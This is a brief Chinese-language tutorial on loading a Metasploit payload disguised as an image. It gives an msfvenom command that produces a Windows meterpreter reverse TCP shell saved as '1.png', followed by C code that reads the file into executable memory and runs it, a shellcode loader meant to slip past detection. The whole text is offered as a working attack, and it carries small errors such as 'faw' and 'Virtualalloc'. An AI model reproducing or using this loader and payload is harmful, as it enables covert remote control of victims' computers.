c代码加载图片马
msf生成图片格式
>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f faw -o /root/1.png
生成解决方案即可。
#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<stdlib.h>
#include<stdio.h>
int main(void)
{
FILE* fp;
size_t size;
unsigned char* buffer;
fp = fopen("1.png","rb");
fseek(fp,0,SEEK_END);
size =ftell(fp);
fseek(fp, 0, SEEK_SET);
buffer =(unsigned char*)malloc(size);
fread(buffer, size, 1, fp);
void* exec = Virtualalloc(0, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, size);
((void(*)()) exec)();
return 0;
}
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